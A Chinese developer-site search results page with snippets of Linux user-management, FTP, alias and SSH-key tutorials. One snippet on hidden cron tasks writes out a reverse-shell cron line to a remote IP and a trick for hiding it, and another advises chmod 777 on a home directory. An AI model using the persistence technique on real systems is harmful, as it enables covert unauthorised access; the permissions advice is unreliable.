首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Linux实践 - 创建用户

双十一来了,搞了台便宜云服务器,又需要搞搞环境什么,顺便做个笔记~吧。 目标 创建一个admin用户用于日常操作(root权限太高,不宜直接使用)。...创建用户 adduser [用户名] [root@VM_0_8_centos ~]# adduser admin 设置密码 passwd [用户名] 系统对密码有一定要求,不能太简单,不然。。。...新 密码: 重新输入新 密码: passwd:所有的身份验证令牌已经成功更新。 [root@VM_0_8_centos ~]# 用新用户登录 用刚创建用户登陆一下试试。...PS: 记不住ip,所以个人电脑hosts文件中设置了个别名,因为用腾讯云服务器,就叫qqcloud。.../home/admin/.ssh目录下创建一个文件authorized_keys,然后把希望被信任电脑公钥输入进去,多个换行隔开即可。

8.1K40

Linux创建用户,删除用户快捷命令

root权限下,useradd只是创建了一个用户名,如 (useradd +用户名 ),它并没有/home目录下创建同名文件夹,也没有创建密码,因此利用这个用户登录系统,是登录不了,为了避免这样情况出现...,可以用 (useradd -m +用户名)方式创建,它会在/home目录下创建同名文件夹,然后利用( passwd + 用户名)为指定用户名设置密码。...可以直接利用adduser创建用户(adduser +用户名)这样/home目录下会自动创建同名文件夹 3. 删除用户,只需使用一个简单命令“userdel 用户名”即可。...useradd testuser 创建用户testuser passwd testuser 给已创建用户testuser设置密码 说明:新创建用户会在/home下创建一个用户目录testuser usermod...--help 修改用户这个命令相关参数 userdel testuser 删除用户testuser rm -rf testuser 删除用户testuser所在目录 创建用户后,同时会在etc目录下

9.8K31
您找到你想要的搜索结果了吗?
是的
没有找到

linux怎么创建用户用户组_linux查看用户

1、linux里查看所有用户 (1)终端里.其实只需要查看 /etc/passwd文件就行了. (2)看第三个参数:500以上,就是后面建用户了.其它则为系统用户..../etc/shadow 文件内容是否合法或完整; pwunconv 注:是pwcov 立逆向操作,是从/etc/shadow和 /etc/passwd 创建/etc/passwd ,然后会删除 /etc...注:删除用户组; groupmod 注:修改用户组信息 groups 注:显示用户所属用户组 grpck grpconv 注:通过/etc/group和/etc/gshadow 文件内容来同步或创建...gshadow文件 首先创建用户组 test和FTP主目录 groupadd test mkdir /tmp/test 然后创建用户 useradd -G test –d /tmp/test –M usr1...注:G:用户所在组 d:表示创建用户自己目录位置给予指定 M:不建立默认自家目录,也就是说/home下没有自己目录 useradd –G test –d /tmp/test –M usr2

18.2K20

Linux学习」之简单创建用户脚本

/bin/bash read -p '请输入您要创建用户名: ' abc useradd $abc &> /dev/null echo 用户$abc创建成功 echo 123 | passwd --stdin...$abc &> /dev/null echo 用户$abc 密码设置成功 脚本优化三: read -p '请输入您要创建用户名:' $abc read -p '请输入您要设置密码:' $pwd useradd...cat /opt/1.txt /etc &> /mnt/a.txt --->> 正确和错误输出都写入 cat /mnt/a.txt 123 cat: /etc: 是一个目录 创建用户用户创建密码.../bin/bash read -p '请输入您要创建用户名: ' abc useradd $abc &> /dev/null echo 用户$abc创建成功 echo 123 | passwd --stdin...$abc &> /dev/null echo 用户$abc 密码设置成功 脚本优化三: read -p '请输入您要创建用户名:' $abc read -p '请输入您要设置密码:' $pwd useradd

2.4K20

linux下使用adduser命令创建用户

语法格式:adduser [参数] 常用参数: -c 加上备注文件,备注文字会存储 passwd 备注参数中 -d 指定用户登录时起始目录 -D 变更默认值 -e 设定此帐号使用期限(格式为 YYYY-MM-DD...),预设值为永久有效 -f 指定在密码过期后多少天即关闭该帐号 -g 指定用户所属群组 -G 指定用户所属附加群组 -m 自动建立用户登入目录 -M 不要自动建立用户登入目录...-n 取消建立以用户名称为名群组 -r 建立系统帐号 -s 指定用户登入后所使用shell -u 指定用户ID 参考实例 建立名为linuxcool用户账号: [root...@linux ~]# adduser linux 建立账号并指定有效期为2014年1月2日: [root@linux ~]# adduser -e 1/2/14 linux 为添加用户指定相应用户组...: [root@linux ~]# useradd -g root kk 为新添加用户指定/home目录: [root@linux ~]# useradd -d /home/myf kk

3.8K30

linux创建、删除及切换用户

一、创建用户 Ctrl+Alt+T 进入到命令行,输入 sudo useradd -m [username] 创建名为[username]用户 -m:自动建立用户登入目录 sudo是允许系统管理员让普通用户执行...root命令一个工具(获取权限) 这里会需要输入管理员密码(不是你想给新用户设置密码!!!)...1、命令行输入sudo su [username]切换到用户小明 2、命令行输入whoami查询当前用户名 3、切换回原用户 五、删除用户 命令行输入sudo userdel...-r [username],root权限下将用户删掉,并删除用户文件夹 如果出现如下图报错: 解决方法 第一次使用ctrl+d退出Gnep用户,回到小明用户;第二次使用ctrl+d退出小明用户...可以看到未找到邮件池,说明已删除成功,当我们利用cat /etc/passwd命令查看内容时候,xiaoming相关信息已经被删除了。因此邮件池未找到这个不用管。

7.1K20

linux创建永久Bash别名

创建别名 默认系统下没有 ll 命令,使用 alias 创建别名 alias ll='ls -alh' 注意:等号前后不要有空格,不能写成 alias ll = 'ls -alh' 可以直接使用...alias 命令显示已经创建别名列表,发现 ll 已经创建成功 删除别名 unalias name # name 为你要删除别名名称 unalias ll 再使用 alias 命令显示别名列表,...发现 ll 已经成功删除 / 取消 alias 永久生效和永久删除 按照上面的操作,在当前终端下使用 alias 创建了别名,新启动终端中竟然无效!!!...所以还是将 alias 添加到环境变量中才能永久生效 Linux下 > vim ~/.bashrc # 将新建别名命令按行逐一写入,比如 alias ll='ls -alh' alias print=...source ~/.bash_profile使之生效 重启新终端,输入 print 测试,输出入门小站二字即为成功,或 输入 alias 查看内容 那要想永久删除就很简单了,再去编辑对应文件,将不需要那一行删除

1.6K10

Linux如何创建FTP用户并配置相关权限【Linux

vsftpd.service 停止 systemctl list-unit-files|grep enabled 查看服务列表 systemctl enable vsftpd.service 启用服务 二,创建用户...1,创建:useradd -d /home/ftpuser -s /sbin/nologin ftpuser -d 指定用户根目录 -s 用户登录方式,nologin禁用ssh,使用ftp登录 扩展,...查看存在用户 cat /etc/passwd 扩展,修改, usermod -s /sbin/nologin ftpuser //限定用户ftpuser不能telnet,只能ftp usermod...-d /home/ftpuser2 ftpuser //更改用户ftpuser主目录为/home/ftpuser2 2,密码 :passwd ftpuser 按照提示输入对应密码...vim /etc/vsftpd/chroot_list ; 打开chroot文件 加入一行,ftpuser 即刚才创建用户名,在这个文件里面的用户可以登录FTP,并访问其他目录 重启FTP,查看文章第一模块重启命令

22.6K10

Linux操作系统创建用户用户权限

一、用户创建 增加用户: 1....root权限下, 命令:useradd +用户名,它不会在/home目录下创建同名文件夹,也没有创建密码,因此利用这个用户登录系统,是登录不了; 命令:useradd -m +用户名,将在/home...目录下创建同名文件夹,然后利用( passwd + 用户名)为指定用户名设置密码。...-d 目录 指定用户主目录,如果此目录不存在,则同时使用-m选项,可以创建主目录。 -g 用户组 指定用户所属用户组。 -G 用户组,用户组 指定用户所属附加组。...命令:adduser +用户名,/home目录下会自动创建同名文件夹 创建用户后,同时会在etc目录下passwd文件中添加这个新用户相关信息 创建用户后shell无法自动补全命令或使用基本

5.3K60

Linux 创建修改删除用户和组方法

介绍 日常维护过程中创建用户操作用相对会多一些,但是在这个过程中涉及到知识点就不单单就是useradd了,接下来就来详细了解账号管理相关信息。...、主板、硬盘、显卡、光驱等),linux默认shell是/bin/bash 密码信息 用户密码文件中每一行记录一个用户密码信息,总共有九个部分 [root@localhost ~]# cat /etc...:密码存是密文 3.最近更改密码日期:linux将1970年1月1日作为1,所以上面的16862是累加,具体就不去算了 4.密码不可被更改天数:0代表密码随时可以被更改,通常可以用来设置某个用户多少天密码不能被更改...user mapping 1.创建用户test 创建用户不加参数默认会创建一个同名用户组、密码为空,用户UID和GID都是500之后现有的UID和GID基础上往后自动添加、默认会创建一个同名家目录家目录默认权限是...3.创建系统用户old 创建系统用户虽然在用户文件中有指定家目录,但是实际上home目录下并不会创建对应用户目录,且不会创建用户邮件通知目录。 ? 4.创建不允许登入用户 ?

3.2K20

SQLite linux创建数据库方法

SQLite 创建数据库 SQLite sqlite3 命令被用来创建 SQLite 数据库。您不需要任何特殊权限即可创建一个数据。...语法 sqlite3 命令基本语法如下: $ sqlite3 DatabaseName.db 通常情况下,数据库名称 RDBMS 内应该是唯一。...另外我们也可以使用 .open 来建立新数据库文件: sqlite>.open test.db 上面的命令创建了数据库文件 test.db,位于 sqlite3 命令同一目录下。...如果您已经注意到 sqlite3 命令成功创建数据库文件之后,将提供一个 sqlite> 提示符。...SQLite .dump 点命令来导出完整数据库一个文本文件中,如下所示: $sqlite3 testDB.db .dump > testDB.sql 上面的命令将转换整个 testDB.db 数据库内容到

4.1K30

Linux创建隐匿计划任务

Linux计划任务可以让系统周期性地运行所指定程序或命令,攻击者可以利用这个特性让系统周期性运行恶意程序或者命令。计划任务具体使用方法参考前文,这里只讲述攻击者如何利用该技术进行权限维持。...然后,使用命令crontab -l来查看当前用户系统中创建计划任务,执行结果如图1-2所示。...Linux中“万物皆文件”,crontab -l命令实际上是调用“cat /var/spool/cron/crontabs/当前登录用户用户名”。...那么攻击者可以执行命令echo "*/1 * * * * bash -i >& /dev/tcp/192.168.31.111/10029 0>&1" > /var/spool/cron/crontabs/root,计划任务中写入一个每分钟建立回连会话语句...前面已经说过执行crontab -l其实就是执行“cat /var/spool/cron/crontabs/当前登录用户用户名”,而cat命令自身存在一定缺陷,它会自动识别转义字符,比如执行命令printf

42310

Linux 创建用户并配置SSH免密登录

补一个 Linux 用户SSH记录叭~ 1、创建用户 sudo useradd weisheng # weisheng:用户用户创建成功会在磁盘生成 /home/weisheng 作为用户根目录...2、目录授权 sudo chmod -R 777 /home/weisheng/  # 先赋予该目录所有访问权限 3、创建授权存放文件夹 # 进入用户根目录 cd /home/weisheng/...# 创建 .ssh 文件夹 sudo mkdir .ssh 4、电脑或服务器上创建密钥 ssh-keygen -t rsa # 失败则需要安装 ssh 安装成功后会在用户目录下生成一个 .ssh 文件夹...(可能隐藏) .ssh 文件夹下包含两个文件 id_ras(私钥)、id_ras.pub(公钥) 5、创建授权文件 # 进入Linux 用户根目录下 .ssh 文件夹 cd .ssh # 创建...authorized_keys 文件 sudo vim authorized_keys 将步骤4生成 id_ras.pub 里面的内容复制到 authorized_keys 6、授权 # 文件授权

3.8K30
领券